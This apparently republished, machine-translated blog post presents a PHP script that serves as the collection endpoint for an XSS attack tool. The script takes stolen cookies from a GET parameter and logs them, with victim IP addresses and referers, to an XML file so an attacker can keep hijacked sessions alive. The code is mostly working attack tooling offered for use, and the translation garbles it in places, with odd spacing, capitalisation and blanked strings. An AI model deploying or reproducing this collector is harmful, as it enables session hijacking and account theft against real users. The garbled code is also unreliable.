PHP script _php Tutorial with XSS tool Sessionie

Source: Internet
Author: User
I write this is purely fun, no meaning, in the end is the operation of XML. The origin is still due to a few days ago Http://www.cncert.net in our mailing list released a new XSS utilization tool, similar to the foreigner's hamster, in the client timed refresh to keep session does not time out. Once accessed by a cross-site person, the attacker can remain logged on. This tool is made with. NET, and for convenience, a cookie-collecting script is required to save the cookie as an XML file. He provided an ASP program, I only have php space, so I wrote a PHP for testing.
Code:

Date_default_timezone_set ("asia/chongqing");

$my _file = "Cookie.xml";

if (! isset ($_get[x]))
{
Exit
}

$my _cookie = $_get[x];
if ($_get[x]! = "")
{
if (! file_exists ($my _file))
{
Createxmlfile ();
}

AddData ($my _cookie);
}

function Createxmlfile ()
{
Global $my _file;

$fp = fopen ($my _file, "WB");
if (! $fp)
{
Exit
}

Fwrite ($fp, " ");
Fwrite ($fp, " ");
Fwrite ($fp, " ");
Fwrite ($fp, " ");
Fwrite ($fp, " ");

Fclose ($FP);
}

function AddData ($my _cookie)
{
Global $my _file;

$doc = new DOMDocument ();
$doc->load ($my _file);
$doc->formatoutput = true;

$treeroot = $doc->getelementsbytagname ("Treeroot")->item (0);

$item = $doc->createelement ("item");
$treeroot->appendchild ($item);

if (Isset ($_server["Remote_host"))
{
$remote _host = $_server["Remote_host"];
}
ElseIf (Isset ($_server["REMOTE_ADDR"]))
{
$remote _host = $_server["REMOTE_ADDR"];
}
Else
{
$remote _host = "Notcare";
}
$title = $doc->createelement ("title", $remote _host);
$item->appendchild ($title);

if (Isset ($_server["Http_referer"))
{
$refer = $_server["Http_referer"];
}
Else
{
$refer = "http://yahoo.cn";
}
$link = $doc->createelement ("link", $refer);
$item->appendchild ($link);

$src _ip = $doc->createelement ("Src_ip", $_server["REMOTE_ADDR"]);
$item->appendchild ($src _ip);

$src _os = $doc->createelement ("Src_os", "Notcare");
$item->appendchild ($src _os);

$pubDate = $doc->createelement ("PubDate", Date ("R"));
$item->appendchild ($pubDate);

$description = $doc->createelement ("description", $my _cookie);
$item->appendchild ($description);

$doc->save ($my _file);
}

?>

http://www.bkjia.com/PHPjc/532402.html www.bkjia.com true http://www.bkjia.com/PHPjc/532402.html techarticle I write this is purely fun, no meaning, in the end is the operation of XML. The origin is still due to a few days ago Http://www.cncert.net in our mailing list released a new XS ...

  • Related Article

    Contact Us

    The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

    If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

    A Free Trial That Lets You Build Big!

    Start building with 50+ products and up to 12 months usage for Elastic Compute Service

    • Sales Support

      1 on 1 presale consultation

    • After-Sales Support

      24/7 Technical Support 6 Free Tickets per Quarter Faster Response

    • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.